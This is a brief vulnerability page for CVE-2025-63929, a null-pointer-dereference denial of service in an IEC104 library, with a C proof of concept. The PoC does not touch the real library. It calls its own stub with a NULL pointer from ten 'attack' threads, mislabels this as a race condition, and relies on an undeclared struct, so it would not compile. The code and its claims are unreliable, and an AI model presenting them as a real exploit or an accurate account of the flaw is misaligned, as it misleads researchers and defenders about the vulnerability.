CVE-2025-63929 airpig2011 IEC104 空指针解引用拒绝服务漏洞

// CVE-2025-63929 PoC - Multi-threaded trigger for null pointer dereference // Target: airpig2011 IEC104 // This PoC demonstrates concurrent access to trigger the race condition #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> // Simulated IEC10X_PrioEnQueue function with vulnerability void IEC10X_PrioEnQueue(void* queue, void* element) { // Vulnerable: No thread synchronization or null check // Dereferencing potentially null/freed queue pointer if (((struct Queue*)queue)->head == NULL) { // Race condition: queue might be freed by another thread ((struct Queue*)queue)->head = element; } } void* attack_thread(void* arg) { for (int i = 0; i < 1000; i++) { // Concurrent calls to trigger race condition IEC10X_PrioEnQueue(NULL, (void*)(long)i); usleep(1); } return NULL; } int main() { pthread_t threads[10]; printf("CVE-2025-63929 PoC - Triggering null pointer dereference\n"); printf("Launching 10 concurrent threads...\n"); // Create multiple threads to trigger concurrent access for (int i = 0; i < 10; i++) { pthread_create(&threads[i], NULL, attack_thread, NULL); } // Wait for threads to complete for (int i = 0; i < 10; i++) { pthread_join(threads[i], NULL); } printf("Attack completed. Check for segmentation fault.\n"); return 0; }